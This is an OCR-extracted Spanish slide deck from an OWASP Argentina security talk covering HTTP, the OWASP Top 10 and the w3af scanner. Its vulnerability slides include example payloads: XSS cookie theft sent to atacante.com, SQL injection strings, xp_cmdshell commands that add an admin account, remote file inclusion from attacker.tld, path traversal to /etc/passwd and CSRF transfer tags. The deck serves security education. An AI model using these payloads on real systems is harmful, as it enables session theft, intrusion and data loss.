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Andrés Riancho

= Fundador de Bonsai Information Security

= Programador (python!)

= Open Source Evangelist

= w3af project leader

= Web Application Security enthusiast

= Con conocimientos en networking, disefio y evasion de IPS
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Martin Tartarelli

= Argentina local chapter leader @ OWASP

= |nformation Security @ Red Link S.A.

= Open Source Evangelist

= w3af contributor

= Conocimientos en Networking / Incident Handling

OWASP

The Open Web Application Security Project
hetpyfwww owasp org
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Introduccion al
protocolo HTTP
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Arquitectura Web

Cache / Load Balancer

Cache / Load Balancer
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Caracteristicas del Protocolo HTTP

= HTTP/1.0 definido en RFC 1945

= Dos tipos de mensajes:
= HTTP request [browser -> server]
= HTTP response [server -> browser]
= Métodos: GET, HEAD, POST.
= No se mantiene el estado en HTTP.
= Una conexion TCP para cada HTTP request.

= HTTP/1.1 definido en RFC 2616

= Métodos: GET, HEAD, POST, OPTIONS, PUT, DELETE, TRACE, CONNECT.

" Encabezado “Host”: indica el nombre del servidor al cual se le realiza el
pedido, permite que se utilicen hosts virtuales.

= No se mantiene el estado en HTTP.
= Conexiones TCP persistentes por defecto.
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Formato del Mensaje HTTP REQUEST

METODO URI VERSION

[ENCABEZADO-1]: [Valor]

[ENCABEZADO-NI: [Valor]

[CUERPO DEL MENSAJE]

= Método: GET, HEAD o POST en HTTP/1.0. GET, HEAD, POST, OPTIONS,
PUT, DELETE, TRACE o CONNECT en HTTP/1.1.

= Version: HTTP/1.0 o HTTP/1.1
= Encabezados: User-Agent, encoding, language, content-length.
= URI puede ser:

= URL absoluto “http://host.tld/spam/eggs.html|”

III

= PATH absoluto “/spam/eggs.htm
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Ejemplo de un Mensaje HTTP REQUEST

GET /update/?timesincelastcheck=684942 HTTP/1.0

User-Agent: Opera/9.52 (X11; Linux i686; U; en)

Host: xml.opera.com

Accept: text/ntml, application/xml;q=0.9, applicati on/xhtml+xml,
image/png, image/jpeg, image/qgif, image/x-xbitmap,
*/*:q=0.1

Accept-Language: en-US,en;g=0.9

Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1

Accept-Encoding: deflate, gzip, x-gzip, identity, * :g=0
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Formato del Mensaje HTTP RESPONSE

VERSION CODIGO_DE_ESTADO DESCRIPCION

[ENCABEZADO-1]: [Valor]

[ENCABEZADO-N]: [Valor]

[CUERPO DEL MENSAJE]

= Version: HTTP/1.0 6 HTTP/1.1

= E| cddigo de estado es un numero de tres digitos que indica el estado
de la respuesta: 200, 404, 500.

= La descripcion es una frase que explica el codigo de estado: “Ok”,
“Forbidden”.
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Ejemplo de un Mensaje HTTP RESPONSE

HTTP/1.1 200 OK

Date: Wed, 11 Mar 2009 21:04:42 GMT

Server: Apache/2.2.3 (Debian) mod_apreq2-20051231/2
mod_perl/2.0.2 Perl/v5.8.8

Connection: close

Content-Type: text/xml

<?xml version="1.0" encoding="utf-8"?>

<versioncheck spoof="1236374510" bspit="1236628795"

.6.0
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Cookies

= Eslamanera en la cual se mantiene el estado en el protocolo HTTP.
= Se define en los RFC 2109, y RFC 2965 anade la version 2.
= Define el encabezado "Set-Cookie”, ejemplo:
= Set-Cookie: nombre=andrés; empresa=Bonsai; Path=/mail

= Define el encabezado "Cookie", ejemplo:
= Cookie: nombre=andrés; empresa=Bonsai;

= Path : directorio para el cual la cookie es vélida, "/mail".

= Domain: Es posible especificar *.host.tld . Sino, es valido solo en
www.host.tld

= Max-Age: tiempo de vida, en segundos, de la cookie.

= Path: especifica el subconjunto de URL’s para las que aplica la cookie.

= Secure: la cookie debe ser enviada solo por canales seguros (HTTPS).

= HTTP-Only: Indica si la cookie puede ser accedida desde Javascript, Flash.



Open Web Application
Security Project
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OWASP

The Open Web Application Security Project

hetp:/fwrww.owasp.org

Open Web Application Security Project

OWASP Projects (Documentation) OWASP Projects (Tools)
= Top 10 = AntiSamy Java project
= Development Guide = Enterprise Security API
= Code Review Guide = Live CD

= Testing Guide = \WebScarab
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Capitulo local de OWASP

Formas de colaborar y contribuir con el capitulo de OWASP Argentina.

Participando en cualquiera de los proyectos actualmente activos
(documentacion y herramientas)

Proponiendo nuevos proyectos

Participando y aportando ideas a la lista de correo.
owasp-argentina@lists.owasp.org

Asistiendo a las conferencias y reuniones

Promoviendo y dando soporte al proyecto OWASP en general
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OWASP Top 10

=  Cross Site Scripting (XSS)

= |njection Flaws

= |nsecure Remote File Include

= Insecure Direct Object Reference

=  Cross Site Request Forgery (CSRF)

= Information Leakage and Improper Error Handling
=  Broken Authentication and Session Management
= |nsecure Cryptographic Storage

= Insecure Communications

L Failure to Restrict URL access

http://www.owasp.org/index.php/Top _10
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Vulnerabilidades en
aplicaciones Web
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Cross Site Scripting (XSS)

= Esun error que se produce en contexto de lenguaje de marcas HTML,
al generar la presentacion de una pagina web.

=  Un usuario puede inyectar cédigo malicioso (HTML/Javascript) que se
ejecuta en el contexto del browser del cliente.

= Permite comprometer informacion de otros usuarios (ejecutar
codigo javascript, robar cookies, etc.).

ﬂ ki) ™ nttp:/jlocalhost/w3affaudit/xss/simple_xss.phpZtext=%3Cscriptd%3Ealert('reflected%20xss') %3C/scrpt%3E

B =|ocalhost=
reflected xss

B Stop executing scripts on this page
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Cross Site Scripting (XSS)

http.//host.tld/eggs.php”user=Andres

<?

echo htmispecialchars ($_GET['user’);

-
e

I Andrés

I Andrés

No Vulnerable



Club del Programador 3@”SAI

Cross Site Scripting (XSS)

http;//host tld/eggs.php”user= <script>alert(xss)</script>

<?

echo htmispecialchars ($_GET['user’);

>
I &lt;script&gt;alert('xss")&lt;/script&gt; I
<script>alert('xss")</script> |

No Vulnerable
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Cross Site Scripting (XSS)

http;//host tld/eggs.php”user= <script>alert(xss)</script>

<?

echo $ GET/['userT;
7>

U

<script>alert('xss")</script>

ﬂ <localhost>
reflected xss

B Stop executing scripts on this page




Demo XSS
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Cross Site Scripting (XSS)

=  Por medio de Javascript es posible controlar el browser de la victima
del ataque, para realizar alguna de las siguientes actividades:

= Robo de identidad / sesion:

<script>
document.location="http://atacante.com/'+document.c ookie
</script>

Envia las cookies de sesion al website atacante.com. Es posible
realizarlo de manera asincronica con XMLHttpRequest.

= Redireccion del cliente hacia el sitio Web especificado para
posible phishing:

<script>
document.location="http://atacante.com"

</script>
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Cross Site Scripting (XSS)

= Mas informacion al respecto en:
= http://ha.ckers.org/xss.html
= http://www.bindshell.net/tools/beef

File Edit “iew Higtory Bookmarks Toole  Help 48 Getting Started

G- @ 4) | hipdbindshel.net/beef /il =l B Gl 5oode ®
Zombies Autorun Modules Standard Modules Options Help Wade Alcorn (http:f fwww.bindshell.net}
ipc: bindshell :
Browser Exploitation Co !pc : —— n &l Rights Reserved.
Framework !pc' 'mapgb(
A ipe: aste
@ Be std: alert an framewark. Its purpases in life is to provide an
23 otd: steal clipboard to deronStrate thehimp?c:t Dfi;rowserkgnd/or;sls
iss . . modular structure has focused on making module
td: t d . . ; S .
BEEF dg 5 C7Javascript comman with the intelligence existing within BeEF.
std: request
Autorun W std: visited urls . .
disahled Ie ®plt: MoBB ave been added along with convential ones
R * | distributed port scanner atocol Exploit ”.‘Dd'-'!IES
Zombies * New attack wvector inter-protocaol Communication modules
@ Moz 165,192,135 * MNew direct Browser Explait module

€ Mi0z165.192.1

: Example
@M@ 192,165.192.1 P

Use a browser to connect to 'http: //beefsite/hook/wss-example.htm', Now a zombie
will appear in the zombie section of the BeEF UL, The IP address in the file will
require editing.

Select the 'std: alert' module from the 'standard module' menu and then click on the
zombie in the sidebar {under the icony. Now both the module and a zombie have
been selected. The next step is to click the 'send' button to instruct the zombie,

An alert dialog box should now appear in the zombie, Click the ok button, The
results of this action will appear in the with that zombies page. To view these
results select the zombie from the 'zombies' pull down menu, This page contains

P WU O U UM NN N N SO DU (R |

= http://www.owasp.org/index.php/XSS
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Injection Flaws

= SQL Injection es una de las vulnerabilidades de Injection mas comunes, y a la
vez de mayor criticidad.

= Esun error que se produce en contexto de sentencia SQL.

= Un usuario es capaz de alterar la sentencia SQL, y asi alterar el
comportamiento de la aplicacion, es posible:

=  Anadir, Borrar y Extraer datos
= Ejecutar comandos del sistema operativo
= Es posible comprometer datos y servidores...

Authentication

Username

Password

I Remember Me
Login
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Injection Flaws — SQL Injection

(Buthentication
Usemamg
Password
A R’-member Me
Login

<?

Slink = mysql_connect("localhost", "root", "moth");
mysql_select_db("w3af_test", Slink);

Ssql_stm = "SELECT * FROM users where username="".$_POST["username"] .

and password="" . $_POST["password"]. """';
Sresult = mysqgl_query( $sql_stm, Slink);

>
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Injection Flaws — SQL Injection

=  SELECT * FROM users WHERE username=‘spam’ AND
password=‘eggs’

=  SELECT * FROM users WHERE username=" OR 1=1-- AND
Password=‘eggs’

= SELECT * FROM users WHERE username="spam' AND Password=";
DROP TABLE usuarios; --’
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Injection Flaws — SQL Injection

= Es posible encontrar vulnerabilidades de SQL injection en los
siguientes vectores:
= Parametros por Query Strings (GET)
= Campos de Formularios (POST)
= Cookies
= Cabeceras HTTP
= Archivos

= Para detectar vulnerabilidades de SQL injection, es necesario enviar
requests HTTP especialmente formados, utilizando alguna de las
siguientes secuencias en los vectores anteriormente mencionados:
| ! ™ aIbICI
m ¥ u %
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Demo: Deteccion de
SQL injection
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SQL Injection — Ejecucion de comandos

XP_CMDSHELL

=  Es un Stored Procedure de la base master.

= Ejecuta comandos a través del cmd.exe

= Los comandos se ejecutan con los privilegios del servicio de SQL
= Representa un riesgo critico para el sistema.

= Seinvoca: exec master.dbo.xp_cmdshell ‘comando’

exec master.dbo.xp_cmdshell 'net user bonsai p4sswd/add’
exec master.dbo.xp_cmdshell 'net localgroup administrators bonsai /add
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Insecure Remote File Include

=Esta es una vulnerabilidad que se encuentra unicamente en el lenguaje
de programacion PHP. Tal como en casos anteriores, el coédigo de la
aplicacion es el siguiente:

<?

$page =$ _GET['page];
require($page);

>

=| a3 vulnerabilidad se presenta debido a la funcionalidad provista por
PHP Ilamada “allow_url_include”, por medio de la cual es posible
requerirle a PHP que incluya el resultado de realizar un request a:

http://attacker.tld/evil-code.txt
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Insecure Remote File Include

victim.tid attacker.tid

[?page=http:/iattacker.tid/evil-code. txt
o

fevil-code.txt

<7 system('whoami'); 7=

Include the response from
attacker.tld

Return HTML body with execution

result
e
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Path traversal

= Es un error que se produce en contexto de ruta de fichero.

:> File://usr/info/../../. /file.xml

= E| usuario es capaz de manipular la ruta de un fichero para que se
acceda a ficheros de forma no controlada, generalmente escapando del

directorio mediante “../’

« v E ‘ﬂ [ http:/fapache bonsai-sec.comfw3affaudit/local_file_readflocal file_read.phpifile=..j../..0..0../J..[../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/
/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/varfcache/man:/bin/sh lp:x:7:7:1p:/var/spoc
/bin/sh news::9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:pra
data:/varfwww:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/lis|
/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody::65534:65534:nob«
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Cross Site Request Forgery (CSRF)

= Esuna tecnica donde el atacante fuerza el navegador validado de una
victima a enviar una peticion a una aplicacion Web vulnerable, la cual
entonces realiza la accion elegida a travez de la victima.

<img src=http://miweb.com/send.asp ?to=user@example.com&mess=Spam>

<img src=http://home-banking.com/transfer.php?src=1111&dst=1234&amount=3>
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Validacion de datos de entrada éSolucion?
Ayuda, pero no es suficiente

Validacidon de datos en cambios de contexto
éSolucion?
iSI!

Contexto Validaciones

Sentencia 5QL Escapar caracteres (comillas, contrabarra)

Codigo HTML Codificar los datos en HTML
(HTMLencode)

Nombre de un fichero Filtrar cararacteres (barra, contrabarra,

puntos al inicio de fichero)

Buffer de memoria Verificar tamafio de origen y destino.
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Metodologias de analisis de seguridad web

= Las aplicaciones web pueden ser analizadas utilizando distintos enfoques,
entre ellos, es posible distinguir los siguientes:

= Analisis estatico de codigo: El analista de seguridad posee acceso al
codigo fuente de la aplicacidn, y posiblemente a manuales del usuario
pero NO POSEE acceso a la aplicacion en si misma.

= White box: En este enfoque, el analista de seguridad posee acceso al
codigo fuente de la aplicacién, manuales del usuario, credenciales validas
del sistema, configuracion del servidor Web, y acceso a la aplicacion en si
misma.

= Black box: En este enfoque, el analista de seguridad posee unicamente
acceso a la aplicacion.
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White box testing / Analisis estatico de cédigo

=  Ventajas:

= Mas informacion disponible, mas vulnerabilidades que se pueden
descubrir.

= Es posible descubrir TODAS las vulnerabilidades (si se tiene el tiempo
suficiente). No es necesario suponer nada, todo esta en el cddigo.

=  Desventajas:

= Suele suceder, sobre todo con sistemas grandes, que la cantidad de
informacion es tanta que puede resultar muy complejo manejarla.

= No es posible analizar todas las lineas del programa en busqueda de
vulnerabilidades, lo cual hace que sea complejo definir exactamente que
secciones analizar.

= Cuando no es posible acceder a la aplicacidon, es comun que el analista se
"pierda" entre tanto codigo.
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Black box testing

= Ventajas:
= Simplicidad
= Menor tiempo de testing

= Provee un enfoque real, ya que se posee el mismo nivel de
conocimiento sobre la aplicacion que un potencial intruso

= Desventajas:

Vulnerabilidades trivialmente detectables con white box testing,
no pueden ser detectadas con esta enfoque. (if user ==
‘tester002’ and password == ‘backdoor__’)

= No se aprovecha el codigo fuente de la aplicacion a favor de |la
seguridad de la misma.
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“Use the source, Luke!”
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Web application security scanners

Existen distintas herramientas para realizar analisis de seguridad en
aplicaciones web, algunas de las herramientas comerciales son:

= Acunetix Web Security Scanner
= SPI Dynamics
= NTOSpider from NTObjectives

Las cuales poseen una gran cantidad de funcionalidades, soporte para
javascript, etc... pero... son closed source! Por otro lado, existen
alternativas open source como:

= Grendel Scan
= w3af
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w3af en 15 minutos
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w3af

= w3af == Web Application Attack and Audit Framework
= Proyecto Open Source (GPLv2)

= |nicialmente un conjunto de scripts para facilitarme el trabajo, hoy es
un projecto que involucra personas de todo el mundo

=  Un scanner de vulnerabilidades web
= Una herramienta de explotacion de vulnerabilidades
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Features principales

Deteccidén de mas de 150 tipos de vulnerabilidades web
Cross platform (python!)

Utiliza técnicas de tactical exploitation para descubrir nuevas URLs y
vulnerabilidades.

Interfaces de usuario de consola y grafica

Exploits para [blind] SQL injections, OS commanding, remote file
inclusions, local file inclusions, XSS, unsafe file uploads y mas!
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Features principales

= Arquitectura basada en plugins
=  Facilmente extensible
= Sinergia entre plugins

Posibilidad de detectar vulnerabilidades en query string, post data,
URL filename ( http://a/f00 _injectHere_b4r.do ), HTTP headers, JSON,
contenido de archivos (cuando se sube un archivo por medio de un
form) y web services.

=  Numero de plugins: >130
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Features principales

<htrml =
= Soporte para _— ” ” ” ”
HTML invalido il ES;ZSSEL?EE;%@%EE"‘éli"ﬁlﬂiﬁﬁ;iifﬁfmT
utilizando Beautiful Soup f"”em ”ame:"kew‘js" ContenE _’ﬁﬁ!

<meta name="GENERATOR" content="Microsoft Frontl
<meta name="Progld" content="FrontPage Editor.Doc
<title=Welcome to | s com < fitle =

<meta name="Microsoft Theme" content="07-8"""1
< /head>

<META HTTP-EQUIN="Pragma" COMNTENT="no-cache":x

<body bgcolor="#000000" text="#000000" link="#0I
<html xmlns="http: /fwwew w3.0rg/ 1999 <html" =

<head>
<meta http-equiv="Content-Type" content="text/html
<title=Untitled 1< /title>

<style type="text/css" >
stylel

text-align: center;
s
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Arquitectura

= w3af esta dividido en dos secciones principales, el core y los plugins.

= El core coordina todo el proceso y provee funcionalidades utilizadas
por plugins e interfaces graficas.

= Los plugins comparten informacion entre ellos utilizando una base de
conocimientos interna.

Patrones de diseno y objetos por todos lados!
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Arquitectura

8 tipos distintos de plugins:

discovery
audit
grep
attack
output
mangle
evasion

bruteforce

|

®
% pruteforce

|

—
—
e
——

p\ugms
attack
audit

& discovery

& @ eyvasion

= (3 9reP

@ mang\e
output

Clisiggunmwme

init__PY
E; % console py

‘_ gmthU‘PY
htmiFile.py
textFile py

@ ﬁ} xmiFile.py

oE ~init__pY
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Plugins | Discovery

= Encuentran nuevas URLs y crean los correspondientes objetos
fuzzeables; examples of discovery plugins are:

= webSpider
= urlFuzzer

= googleSpider —

-
-
e —

v o

x55
\ — —___—____-—-—-_

s‘.mp\e_xss_t\o_scnpt.php @
no_tag_xss.

\ ataheceptor2 Phe
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Plugins | Discovery

Son ejecutados en un loop, la salida de un plugin es enviada por el
core al proximo. El proceso continua hasta que ninguno de los plugins
produce nuevos resultados.

Existen otros plugins de discovery que realizan un fingerprint del
servidor HTTP remoto, detectan metodos habilitados, verifican si el
sitio remoto posee un balanceador de cargas, etc. (hmmm,
refactoring!)
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Plugins | Audit

Toman la como entrada la salida de los plugins de discovery (objetos
fuzeables) para detectar las vulnerabilidades:

= [blind] SQL injection
= XSS

Buffer overflows

Response splitting.

= Cuando una vulnerabilidad es detectada, es almace
objeto en la kb.

—

nada-comoun
(.

(9)

> KSS

) ):SCross site scripting vulnerabl'\:iy

A cross ste scripting vu\nerabi‘lfy

\ A Cross site scripting vulnerab|':ty

A Cross site scripting vulnerabi :‘ty

\ A cross site scripting vu\nerab|':-ty

A cross site scripting vu\nerabl:‘ty.

\ A Cross sité scripting Vu\nerabl.':_ty
A Cross site scripting vu\ner.a‘::fll yvuﬁnerabmty

\ (] permanent cross site scripting
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Plugins | Grep

= Estos plugins realizan busquedas de strings dentro de las respuestas
HTTP, para identificar informacion interesante, errores, etc. Ejemplos
de plugins del tipo grep:

= blankBody
= passwordProfiling

= privatelP

= directorylndexing -
= getMails {,,ff”'fﬂf (1)

= error500 r, errorPages (1)

— server losure

' | isC
\ @ error page with information d
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Plugins | Attack

Estos plugins leen los objetos vulnerabilidad de |la kb e intentan
explotarlos para escalar privilegios, ejemplos:

= mql_webshell
= davShell

= sqlmap

= xssBeef
= remote file include shell
= OS Commanding shell

'.ﬂ..ﬂ..ﬂ.—dar_a@brick? who mar 11 16:40 L:.(é]’-01
420 eey? Mar 11 16:4}1; ((-o.m
dz0 PtSIIO Mar 11 16'-'% (-.0.0)
dz0 pre/l ar 11 16:“1 (:0.0)
dz0 pts/2 mar 11 1629000,
dz0 Pts"‘? Mar 11 16:41 (:0.0)
dzo pts_.',-‘ Mar 11 16:41 .

dz0 pts/> e

_._cia_t_a_@)f_'i_c_‘f —

W
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Plugins | Others

Output: Escriben los mensajes generados por los pluginsy el core a la
consola, archivos de texto, GUI, etc.

= Mangle: Modifican requests y responses basados en regular
expressions.

= Evasion: Modifican los requests generados por el framework para
evadir la deteccion de los IDS / IPS.

= Bruteforce: Fuerza bruta a logins (form, basic auth)
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Tactical Exploitation

Como utiliza w3af las técnicas de a tactical exploitation?

Busqueda de Virtual hosts en MSN

Busqueda de direcciones de mail en Google,MSN y MIT PKS.
Password profiling

Busquedas en archive.org

Busquedas en Google, MSN, Yahoo

Google hack database -

——
—

-

- Go ongCe,,t.,.a

, ing Lucky
n  I'm Fee
Google 5earc
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Discovery & Bruteforce

Un posible caso de uso...

= Se habilitan los siguientes plugins de discovery:
= fingerPKS
= fingerMSN
= fingerGoogle
= passwordProfiling
= Y elsiguiente plugin de bruteforce:
= formBruteAuth

= Se realiza la busqueda de users dentro del dominio (email users), los
cuales potencialmente son usuarios de la aplicacion Web.

= Luego, se realiza un bruteforce utilizando usernames recolectados y
por defecto con passwords por defecto y otros generados
dindmicamente como:

= username, site (www.domain.com ; domain.com ; domain),
passwords recolectados por el password profiling plugin
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Demo w3af



Club del Programador 3@”SAI

Conclusiones

La seguridad en las aplicaciones Web es cada vez mas importante, ya
gue muchas veces estamos brindando acceso a informacion de |la
empresa o clientes de la misma por medio de Internet.

Desarrolladores sin conocimientos de seguridad en aplicaciones Web,
generan codigo inseguro, el cual indefectiblemente nos hara perder
dinero a futuro.

OWASP Top 10 es un excelente comienzo, pero no siempre es
suficiente para que un equipo de desarrollo genere codigo 100%
seguro.

Educacidn de los desarrolladores y area de QA, desarrollo seguro a lo
largo de todo el ciclo de vida del software, y testing por parte de
profesionales hacen un software seguro.
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¢ Dudas?
¢ Preguntas?
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OWASP

The Open Web Application Security Project

RONSATL

SECURITY

Gracias por su atencion!



